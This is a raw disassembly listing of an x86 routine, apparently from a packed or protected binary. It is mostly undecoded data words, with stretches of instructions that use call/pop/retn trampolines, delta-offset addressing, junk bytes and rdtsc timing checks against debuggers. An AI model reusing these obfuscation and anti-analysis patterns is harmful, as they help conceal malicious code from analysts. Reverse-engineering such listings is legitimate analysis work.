dd 6131625h, 83097500h, 132C81BDh, 1A740006h, 0C08B5350h
dd 0D7D858Bh, 85890613h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h
dd 0BD83585Bh, 6132C81h, 50187400h, 7D858B53h, 8906130Dh
dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 0E8585BD3h, 9, 0ED87D565h
dd 8D2CF88Ah, 0FBE381ACh, 5A5B5407h, 28A0Fh, 0D78B0000h
dd 20CA8150h, 5B7A9E4Ch, 0BD83C08Bh, 61313B1h, 2C850F00h
dd 89000000h, 130BE18Dh, 0D5BD8306h, 61325h, 19840Fh, 0BD010000h
dd 6131629h, 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h
dd 83E386BFh, 1313B1BDh, 840F0006h, 40h, 30D19D89h, 93BB0613h
dd 8360E55Fh, 1318FDBDh, 840F0006h, 28h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6EC35545h, 14F9B244h
dd 8D29CA0Ah, 6130D25h, 13B1BD83h, 0F000613h, 4A84h, 178B0F00h
dd 57000000h, 0FE8h, 5A4F7600h, 25925D14h, 2FBD3C6Ah, 91D126D7h
dd 0BD835B5Bh, 61318FDh, 20840F00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0BCD5C350h, 833EC741h, 1313B1BDh, 840F0006h, 61h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E9C35646h, 3895878Dh
dd 603FFB14h, 24858D8Bh, 0BF660613h, 8361E1D7h, 1321E9BDh
dd 840F0006h, 25h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0F5C35646h, 6CACE899h, 0E0B10E9h, 0B1BD83F6h
dd 61313h, 76840Fh, 12E80000h, 6B000000h, 7FEFAFEEh, 0DE30EAA8h
dd 9D029D1Ch, 0A2D60AD8h, 71BD29EAh, 5B06131Eh, 1E11BD83h
dd 0F000613h, 4B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 58A0F0Dh, 0BA000000h
dd 1D7B2EF8h, 13E9h, 0E5712800h, 0AAC9A501h, 7685A360h
dd 7EB947F0h, 39A5B141h, 217D95FFh, 95890613h, 61314B1h
dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 1A740006h
dd 0C08B5350h, 3115858Bh, 85890613h, 6133115h, 0A9E49D8Dh
dd 0D3FF0615h, 0BD83585Bh, 6132C81h, 50187400h, 15858B53h
dd 89061331h, 13311585h, 859D8D06h, 0FF0615A6h, 80585BD3h
dd 805023C7h, 8B5A5CDFh, 0DAB70FC0h, 13B1BD83h, 0F000613h
dd 5AD84h, 83DF8B00h, 132CF1BDh, 840F0206h, 55h, 11E9h
dd 0A8AC6400h, 907A57F1h, 1527E025h, 5638E797h, 0BD83E331h
dd 6131D05h, 32850F01h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E156C356h
dd 35235E9Fh, 60029E57h, 34759589h, 0BD8B0613h, 6130C69h
dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 8102D9C3h, 4F178D8Bh, 6A0613h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F83E66C3h
dd 0C20D1D80h, 6601FEE2h, 0BF60DB81h, 4E8h, 8000h, 50D18B00h
dd 448B95B7h, 0B8600424h, 29DC903Dh, 11E9h, 0AFBC1B00h
dd 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 8B6192EEh, 0A0BB6600h
dd 24448952h, 0BB665004h, 585A6200h, 0FF6AFE8Ah, 68A0Fh
dd 9D8B0000h, 61324B1h, 12319533h, 95FF0613h, 6130D09h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6AC35646h
dd 0C4898F6Ch, 8BC79601h, 1324A59Dh, 0C1B58906h, 6106132Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h
dd 5E9h, 0F1EB9000h, 0CA8161B0h, 73C68BDh, 65DBD8Dh, 6A0613h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 5C3EE2C3h, 10E985h, 26A30000h, 88745195h, 2B68875Ah
dd 96BF0EF2h, 4F8BD8A5h, 66016A1Ch, 50E2EABAh, 5BDA8B56h
dd 6A240C89h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 17C3C350h, 3D008124h, 0A1BD89B9h
dd 8D06130Dh, 16367785h, 0E7EE8006h, 0DA80D0FFh, 204F8B6Ch
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B0C35141h
dd 0A61B5E87h, 0A6DC7FC3h, 0D480608Eh, 61C68BE9h, 59B3036Ah
dd 0DE891h, 0CDA80000h, 81777E9h, 323C1174h, 508C41B3h
dd 12E952h, 0DDFA0000h, 30F22DF9h, 0B4249CB6h, 0DA0A84B5h
dd 0EDE810B0h, 5E9310Fh, 3B000000h, 81ACEB7Dh, 505A585Ah
dd 9E68BB66h, 55006A91h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 208045DCh, 8B82C1BEh, 1330B595h
dd 858DF906h, 6163677h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 6FC35646h
dd 0F5B4B54h, 1585h, 0DE800h, 0E3E20000h, 0ADD73CA4h, 4F810D02h
dd 0B35461BFh, 95295BFDh, 613207Dh, 6AD0FFh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0D2376DC3h
dd 285E826Eh, 5DBD8D71h, 0E9061306h, 8, 5B24E14Dh, 3EF53EADh
dd 4F8B95B7h, 50006A1Ch, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 2FA93C16h, 8F113983h, 21950164h
dd 6A061323h, 50006A01h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 17F1680Dh, 4C5F0ED2h, 89D1BF0Fh
dd 131B01BDh, 52509106h, 310F90B2h, 585A02B7h, 0F525050h
dd 0BB525031h, 4A3CCA2Eh, 800F310Fh, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
pop edx
pop eax
xchg eax, ecx
mov [ebp+6130EE9h], esi
lea eax, [ebp+6163677h]
or bh, 37h
call eax
push 0
push ebp
call loc_582B6D
and [ebp-3Dh], bl
loc_582B6D: ; CODE XREF: sub_580566+25FFp
pop ebp
mov [esp-14h+arg_10], ebp
add [esp-14h+arg_10], 1Ah
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 9Eh, 0CFh, 0A0h
dd 85AD4039h, 0C759D8Bh, 0E9600613h, 0Ch, 26655792h, 0C1EC32B7h
dd 0CB8CE920h, 0C8A0Fh, 6E80000h, 3D000000h, 0BD027DB0h
dd 8B615AC5h, 6A204Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 751F35C3h, 3D35BB94h, 36A2946h
dd 91A1DB80h, 5250F88Ah, 0E34BBB66h, 0CE8915Ah, 67000000h
dd 9945070Bh, 0E24EC6D8h, 230A90D9h, 1301F59Dh, 858D5A06h
dd 6163677h, 0D0FFD88Ah, 5AD88B51h, 4F178D8Bh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 8A526CC3h, 1FE5AD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 7C35646h, 7C3AEDCh, 8BF9FECDh, 134F1785h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 7BBBE7B0h, 0FEBFC6h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0E4C35040h, 0AA2B60A2h, 0E781757Ah
dd 8B6DD380h, 131EA595h, 51016A06h, 22999D23h, 0E85B0613h
dd 4, 0FFFF9FFFh, 0CE9h, 0A911AB00h, 4687E86Ah, 2CDC8D5Ch
dd 14E95011h, 0DE000000h, 4D6739D1h, 0DEDB30ADh, 20B45155h
dd 0F822B522h, 8B4CF594h, 50042444h, 2850F52h, 56000000h
dd 0E9310F5Bh, 14h, 0C283321h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh
dd 2ECB2266h, 8B585Ah, 4489C8B6h, 6A580424h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 5B08C357h, 54AF8D81h, 237F720Bh, 1312399Dh, 81858D06h
dd 6A061636h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 657CC350h, 0D0FF9EBDh, 59D8D89h
dd 0BD830613h, 61325D5h, 0DE840F00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 44C9C350h, 0EE92FC97h, 958BBD70h, 6131E99h, 173DBD83h
dd 0F010613h, 0A885h, 0AE800h, 0C67A0000h, 64746DD8h, 2EE5464h
dd 6850Fh, 95010000h, 613138Dh, 8B8D8D5Bh, 8B061636h, 0E9036ADAh
dd 0Ah, 0DC0371Bh, 7A5F0C47h, 16A8BC8h, 20919D8Bh, 0D1FF0613h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A2C35040h
dd 679504D0h, 49DD0A99h, 6656016Ah, 6A5BDF8Bh, 0FFE0B601h
dd 4D9D8BD1h, 0E906131Fh, 6, 4543F36Dh, 11E8C4CDh, 6AFA486Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 3016C353h, 5E37996Ah, 6A206ACBh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 45C5C357h, 0DF9FD5Fh, 155DBD89h, 0FF6A0613h, 0FFD88B66h
dd 130D0995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 0B70F9C33h, 0B8D8h, 870F0000h, 2
dd 12E918B6h, 0FE000000h, 851C6643h, 0A6E7B529h, 3D723117h
dd 0DD662223h, 0FC00BCDh, 8B84h, 5958B00h, 83061316h, 1307F1BDh
dd 840F0006h, 78h, 0FE9h, 62870400h, 234E89C9h, 175FA65h
dd 9F403BD5h, 12E85760h, 55000000h, 1A749BFEh, 5C5793B4h
dd 0FF4D796Ch, 1A867437h, 0B5B5BFEh, 1309B585h, 95FF6106h
dd 6131339h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0DAC35141h, 6167CBCh, 95336E96h, 61324F9h, 0E840Fh
dd 8B600000h, 13305985h, 0E18D8B06h, 6106131Dh, 0F55858Bh
dd 9D8B0613h, 61321E5h, 0C619B7h, 0FE900h, 0C1840000h
dd 4DBC8188h, 833176A4h, 0BA23151Bh, 6A58ABh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 692372C3h
dd 8B385CA3h, 132A2595h, 0D98C6606h, 0C1F6FBB7h, 61840F04h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0C82FC356h, 0ACA07C26h, 8B2B5C64h
dd 36E9DFh, 0BE90000h, 23000000h, 4ED442CDh, 0B5D37AC0h
dd 0B58B4949h, 61329C5h, 0C681D38Bh, 1180h, 24118589h
dd 0B5890613h, 6131A91h, 6C7h, 8D890000h, 6133091h, 51006A5Eh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 83729361h, 840F00F8h, 0AD8h, 31758D09h, 0F8830613h
dd 0CB850F01h, 8B000001h, 0B8DAh, 958B0000h, 613229Dh
dd 840FC00Bh, 13Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 81C35040h, 0EE05626Bh, 3EB987E1h, 1F883E9h
dd 14E840Fh, 0BD090000h, 61318EDh, 0F03F883h, 8884h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 4ED64E32h, 9D8BE472h, 6130B6Dh, 0B8h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0D60AD89Dh, 66E2EAA2h, 0BD8DD18Bh, 5B89E0h, 0BE9h, 0AADE9600h
dd 0E7BD443Fh, 0D7FA0F3Eh, 6AE7FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 19B0D9C3h
dd 1B8F9h, 85890000h, 61315F5h, 89E0BD8Dh, 6A005Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 7EB6C2C3h, 519589A0h, 0FF06130Ah, 52006AE7h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E8C5035Ah
dd 14h, 40D7F907h, 0E43A69Bh, 8C6892DEh, 0E41C77B8h, 6D84C67Eh
dd 19D18D89h, 8D5B0613h, 1345A3BDh, 13E86006h, 9A000000h
dd 0A3A39605h, 86DC5F5Eh, 0C9F333B2h, 8F9FD838h, 8166F582h
dd 592446D1h, 0E961C68Bh, 2B3h, 0FE9h, 491A8300h, 38450480h
dd 682E4024h, 14AAA518h, 4F7285C7h, 50613h, 0D88B0000h
dd 5B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0E951BEB0h, 818h, 29799533h, 0F8830613h
dd 13850F02h, 0B6000001h, 219D8B34h, 0B806131Dh, 0
dd 197D952Bh, 0BA660613h, 0C00B55CFh, 0CE840Fh, 0AEB30000h
dd 0F01F883h, 0FFFF9384h, 0ABBA66FFh, 0C5BD89EFh, 83061331h
dd 840F03F8h, 0FFFFFEC9h, 898D3160h, 0E9061317h, 14h, 7A780AF2h
dd 67A72B5Bh, 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah, 0B861h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 24CE03C3h, 0E827B90Eh, 11h, 952B7136h, 4CE56A84h
dd 1FE4AB1Ch, 80185DEAh, 14E87Dh, 0F30A0000h, 0C62914F6h
dd 47BAC7CDh, 128D62A3h, 0FC4420C6h, 8E93B89h, 27000000h
dd 42C7652Eh, 5BDDC296h, 0E0BD8D5Bh, 6A005B89h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 2B8DC352h, 9D8BE7FFh, 61322E9h, 479BBD8Dh, 8A0F0613h
dd 3, 0E9D68B66h, 15Bh, 0DE9h, 0AE5A6900h, 0C773BF51h
dd 0B0775C70h, 0F8838CB7h, 31850F03h, 29000000h, 13003595h
dd 2FBD8D06h, 50061349h, 1EF99D8Bh, 0E95B0613h, 127h, 13E9h
dd 3280A700h, 95F014CFh, 0D75DEFBh, 0B5C47D2Ah, 0B2E37094h
dd 0F05F883h, 885h, 0ADE9FC00h, 8A000006h, 6F883F4h, 41850Fh
dd 870F0000h, 6, 296D8589h, 0BD8D0613h, 6134B27h, 1B99B501h
dd 0D8E90613h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0E8C4C355h, 2268C811h
dd 833B77EDh, 850F07F8h, 46h, 0BD8D3EB3h, 6132609h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 359F5E63h
dd 48B0Fh, 0BB660000h, 1AE994F2h, 0E9000001h, 0Ah, 44A4EBB5h
dd 2C2CE980h, 0F8832E01h, 5C850F0Ah, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0A20DC353h, 4D1FBD8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 14DF08C3h, 97C200C0h
dd 24858509h, 0CE90613h, 8B000000h, 1314599Dh, 5952906h
dd 5706132Ch, 3576E281h, 3FB946D7h, 834738D2h, 840F003Fh
dd 8Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
dd 89C35343h, 9D2440Eh, 131CFD8Dh, 6A0F3006h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 7806C353h, 0CD8D3146h, 81061313h, 9E3481D2h, 0FC9D11Bh
dd 683h, 1958900h, 4706131Dh, 598D8960h, 8B06130Dh, 131985B5h
dd 958B6106h, 613103Dh, 0FFFF7EE9h, 8E8FFh, 0D09F0000h
dd 0A0988BFBh, 5BF9CA68h, 22819D29h, 0B65F0613h, 1BBD89D4h
dd 0F06134Fh, 286h, 8DDF8B00h, 132AA58Dh, 13E906h, 0E3130000h
dd 0A1F4C767h, 23A1ADE4h, 5607C66h, 0C105D764h, 0EED780BFh
dd 1CBDB5FFh, 958B0613h, 613208Dh, 0A34D858Dh, 8D500615h
dd 13573ABDh, 0C08D8D06h, 0B8061372h, 54831ABCh, 730CF2Bh
dd 4947C8D0h, 0B58DF875h, 6137268h, 72D88D8Dh, 0CF2B0613h
dd 0C933A4F3h, 0B8h, 74C00B00h, 0F1BD8346h, 61307h, 95FF0674h
dd 6131339h, 4F1BB58Bh, 858D0613h, 615A34Dh, 858DD0FFh
dd 6134381h, 85C7D0FFh, 61311CDh, 1, 8B9A58Bh, 0B58B0613h
dd 6133481h, 13E5AD8Bh, 0C0330613h, 6A000CC2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 78F1C356h, 7B6360Bh, 1FC5B589h, 0BD830613h, 61307E5h
dd 15840F00h, 80000000h, 95FFF8E3h, 6131685h, 6850Fh, 95310000h
dd 613153Dh, 22C1BD83h, 0F000613h, 18385h, 3DEE8000h, 173DBD83h
dd 0F010613h, 17385h, 0ED953300h, 83061300h, 1321BDBDh
dd 840F0006h, 160h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 8FC35040h, 7A0DC539h, 2A599D8Bh, 0BD830613h
dd 6134F6Eh, 2D840F00h, 89000001h, 1334859Dh, 4D858D06h
dd 0E80615A3h, 10h, 9FDFB996h, 3155BE4Ch, 7FC03920h, 9A592E33h
dd 5E9h, 0D5E2100h, 8B5B4F05h, 1314519Dh, 1BB58B06h, 8906134Fh
dd 132D19B5h, 81D0FF06h, 0F685DECAh, 0A99D2340h, 0C606130Eh
dd 1311E185h, 820F5406h, 2, 0D48AD08Ah, 69595E68h, 11890FA8h
dd 0E8000000h, 9, 9B098E16h, 17E383F9h, 5A616044h, 96240481h
dd 6A56E565h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 1624C351h, 5762FD1Eh, 39A5BB75h
dd 81665D99h, 0FF13ACF2h, 13116DB5h, 3830F06h, 0F000000h
dd 858DDFBFh, 6133AADh, 0FFD9B70Fh, 0A5D380D0h, 7E9h, 0B3ECB00h
dd 0ECF8CA4Ch, 6AFC006Ah, 858B60FFh, 613107Dh, 3211B589h
dd 0FF610613h, 17E381D0h, 660486B7h, 0FF3CA8BAh, 1304C5B5h
dd 0D8B70F06h, 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0FE20C0C3h, 89BA69B8h
dd 8D293359h, 61328E5h, 4F1BB58Bh, 6A0613h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A87A3FC3h
dd 66F59F9Fh, 0FC3D38Bh, 8Fh, 55B58B00h, 106130Fh, 1334AD85h
dd 0FF60B06h, 0C84h, 71F9BA00h, 6C676E8h, 95BA6600h, 23858927h
dd 8006134Fh, 0F8831FCAh, 0F9840F00h, 6A000002h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 225EC357h, 6AC66C53h, 0B8DFh, 83F50000h, 840F00F8h
dd 51h, 11318589h, 0F8830613h, 2C850F02h, 0BB000000h, 11CAA5A9h
dd 459E858Dh, 0EA800613h, 9292D94h, 0BD890000h, 6132185h
dd 0C0BA6690h, 8B665038h, 0F8F890D1h, 0A19D8BC3h, 0B8061321h
dd 0
; ---------------------------------------------------------------------------
mov [ebp+6130FE9h], edi
jmp loc_583B28
; ---------------------------------------------------------------------------
or [ebp+6131A99h], ecx
mov eax, 1
xor dh, 0A0h
lea edi, [ebp+61345A3h]
or edx, [ebp+6130E31h]
jmp loc_583997
; ---------------------------------------------------------------------------
dw 9D8Bh
dd 6132485h, 0F02F883h, 5A85h, 11E800h, 1CA10000h, 0C7859AEEh
dd 8AD66222h, 0A8E99B3h, 89E7900Ch, 1300A99Dh, 0BD8D5A06h
dd 613479Bh, 0A358589h, 0E6800613h, 8DE97Bh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 27647C3h, 88101048h, 0BB665606h, 835A7A60h, 850F03F8h
dd 37h, 59E3BA66h, 492FBD8Dh, 85890613h, 61331E5h, 46E9h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0DD9533D5h, 83061304h, 850F05F8h, 1Bh, 0F91958Bh
dd 0B5E90613h, 0E9000000h, 0Bh, 0F6E35487h, 0B73A9D84h
db 96h, 6Dh, 0B2h
; ---------------------------------------------------------------------------
loc_583997: ; CODE XREF: sub_580566+335Fj
push edi
sub [ebp+61321F5h], ecx
jno loc_5839AA
mov [ebp+6132CD9h], edx
loc_5839AA: ; CODE XREF: sub_580566+3438j
mov ecx, 4738D23Fh
push 0
push eax
call loc_5839BA
and [eax-3Dh], bl
loc_5839BA: ; CODE XREF: sub_580566+344Cp
pop eax
mov [esp-0Eh+arg_A], eax
add [esp-0Eh+arg_A], 1Bh
inc eax
push eax
retn
; ---------------------------------------------------------------------------
dw 0B7F4h
dd 0E36291A0h, 0DE9CD24h, 44000000h, 0BD26BB84h, 4F974D01h
dd 0B01D15F5h, 0F003F83h, 4F84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0ABA57B70h
dd 0BD3160CFh, 61322B1h, 1929858Bh, 30610613h, 8D9D8B0Fh
dd 0D1061313h, 0D99D8BC9h, 4706132Fh, 1DCBFFBAh, 0FFAEE94Dh
dd 8589FFFFh, 6131F79h, 0F05F883h, 0E385h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0DBF59D61h, 25958B2Dh, 66061320h, 0BF0FD98Ch, 4C1F6D6h
dd 7C850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 0F4BD4C3h, 88Ch, 9D2B5000h, 61329BDh
dd 0B85Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 4355E0C3h, 8B1280C7h, 131FD595h
dd 52E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0BF2F55C3h, 858B0981h, 6130A71h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 51C35040h
dd 0BD8960C2h, 6131A35h, 66E0FF61h, 0A4F6D381h
; ---------------------------------------------------------------------------
loc_583B28: ; CODE XREF: sub_580566+3340j
cmp dword ptr [ebp+6131CBDh], 0
jnz loc_583BDE
mov [ebp+6131305h], ebx
push eax
pusha
ja $+6
call near ptr loc_583B57+1
scasb
xor byte ptr [ebx], 0D9h
lods dword ptr [si]
adc ah, [esi]
cmpsb
mov al, ds:9A9C0CB6h
sti
loc_583B57: ; CODE XREF: sub_580566+35DDp
jnz short near ptr dword_583B68
test [eax], eax
; ---------------------------------------------------------------------------
db 0
dd 615E0000h, 6A240489h, 3E85000h
dword_583B68 dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
; CODE XREF: sub_580566:loc_583B57j
dd 0B441C350h, 0E1D366D0h, 11E185C6h, 0E9450613h, 0Eh
dd 0FBF2E6B3h, 0B339C56Dh, 0CF52D4F6h, 836836B4h, 536E48F9h
dd 2404815Ah, 20296FE6h, 16219D8Bh, 0B5FF0613h, 613116Dh
dd 1F99BD89h, 858D0613h, 6133AADh, 0FF83F280h, 89D78BD0h
dd 131CBD85h, 199D2B06h, 58061319h, 12BB6651h
; ---------------------------------------------------------------------------
mov dl, 5Bh
loc_583BDE: ; CODE XREF: sub_580566+35C9j
cmp dword ptr [ebp+6134F72h], 0
jz loc_583C6D
push 0
push edx
call loc_583BF6
and [edx-3Dh], bl
loc_583BF6: ; CODE XREF: sub_580566+3688p
pop edx
mov [esp+0Ch+var_8], edx
add [esp+0Ch+var_8], 1Ah
inc edx
push edx
retn
; ---------------------------------------------------------------------------
sbb ds:0F65E2885h, esi
leave
mov [ebp+61309DDh], edi
add [ebp+6133091h], edx
push dword ptr [ebp+61304C5h]
push 0
push esi
call loc_583C2A
and [esi-3Dh], bl
loc_583C2A: ; CODE XREF: sub_580566+36BCp
pop esi
mov [esp+4], esi
add dword ptr [esp+4], 18h
inc esi
push esi
retn
; ---------------------------------------------------------------------------
mov edi, 3B84C446h
clc
call dword ptr [ebp+6131CBDh]
push 0
push eax
call loc_583C51
and [eax-3Dh], bl
loc_583C51: ; CODE XREF: sub_580566+36E3p
pop eax
mov [esp+10h+var_C], eax
add [esp+10h+var_C], 1Ah
inc eax
push eax
retn
; ---------------------------------------------------------------------------
loc_583C61: ; CODE XREF: sub_580566+36FCj
dec eax
jbe short loc_583C61
dec edx
jno short loc_583C7E
push edx
xor bx, 5737h
loc_583C6D: ; CODE XREF: sub_580566+367Fj
cmp eax, 0
jnz loc_583DA7
push 0
push ebp
call loc_583C81
loc_583C7E: ; CODE XREF: sub_580566+36FFj
and [ebp-3Dh], bl
loc_583C81: ; CODE XREF: sub_580566+3713p
pop ebp
mov [esp+10h+var_C], ebp
add [esp+10h+var_C], 1Bh
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 0CAh, 17h, 0E5h
dd 0FAEDB797h, 8C0F512Dh, 5, 0CF38166h, 0EE95AC2h, 0DE000000h
dd 44EFEEABh, 3DC619EDh, 9A18572Fh, 0DDBD830Fh, 61310h
dd 5B840Fh, 950B0000h, 61305B5h, 6810F51h, 81000000h, 0C0190DDAh
dd 0B5FF5A3Eh, 61310DDh, 8EEA8166h, 1B8F833h, 66000000h
dd 0CC2DF381h, 274E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 63E3EFA3h, 819D8B81h
dd 89061313h, 130E3985h, 0C5B5FF06h, 0FF061304h, 1304C5B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 0DCDFC059h, 95958906h, 0FF061329h, 131CBDB5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0B7043A38h, 1ECE9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D7D1544Dh
dd 2A16AE8h, 0D1958B79h
; ---------------------------------------------------------------------------
push cs
adc eax, [esi]
loc_583DA7: ; CODE XREF: sub_580566+370Aj
pop edi
cmp dword ptr [ebp+6130155h], 0
jnz loc_583E86
js loc_583DC1
mov ebx, [ebp+6131CCDh]
loc_583DC1: ; CODE XREF: sub_580566+384Fj
mov byte ptr [ebp+61311E1h], 4Dh
push edx
mov dl, 4
pop ebx
call near ptr loc_583DD3+2
test al, 76h
loc_583DD3: ; CODE XREF: sub_580566+3866p
xor eax, 525050A4h
mov ebx, eax
rdtsc
pop edx
pop eax
mov eax, [esp+4]
push eax
push edx
mov bx, si
rdtsc
pusha
mov dx, 0A6FEh
jno $+6
popa
pop edx
pop eax
mov eax, [eax]
mov dx, 0B0C6h
mov [esp+4], eax
mov bx, 0EBBDh
pop eax
pusha
xor edx, [ebp+6131FBDh]
cmc
popa
push dword ptr [ebp+61310D1h]
mov edx, 3D29E422h
lea eax, [ebp+6133AADh]
push 0
push edi
call loc_583E2B
and [edi-3Dh], bl
loc_583E2B: ; CODE XREF: sub_580566+38BDp
pop edi
mov [esp+4], edi
add dword ptr [esp+4], 1Ah
inc edi
push edi
retn
; ---------------------------------------------------------------------------
xor ebp, ebx
mov esi, 0B7CBF74h
call eax
jmp loc_583E54
; ---------------------------------------------------------------------------
db 3Dh, 0Fh, 3
dd 2DC09768h, 775196D3h
; ---------------------------------------------------------------------------
loc_583E54: ; CODE XREF: sub_580566+38DEj
mov [ebp+6130155h], eax
push 0
push eax
call loc_583E65
and [eax-3Dh], bl
loc_583E65: ; CODE XREF: sub_580566+38F7p
pop eax
mov [esp+4], eax
add dword ptr [esp+4], 1Ch
inc eax
push eax
retn
; ---------------------------------------------------------------------------
db 65h, 33h, 0ACh
; ---------------------------------------------------------------------------
mov [ebx], ecx
xchg eax, ecx
cmp ecx, [edx+ebx+50h]
mov [ebp+6132501h], ebx
pop edx
loc_583E86: ; CODE XREF: sub_580566+3849j
mov eax, 0
sub ebx, [ebp+6131E99h]
mov [ebp+6134F1Bh], edi
push 0
push edx
call loc_583EA2
and [edx-3Dh], bl
loc_583EA2: ; CODE XREF: sub_580566+3934p
pop edx
mov [esp+4], edx
add dword ptr [esp+4], 15h
inc edx
push edx
retn
; ---------------------------------------------------------------------------
mov [edx], edi
mov dx, 86BCh
mov edx, 415C70C4h
or eax, eax
jz loc_583F17
push 0
push ebp
call loc_583ED0
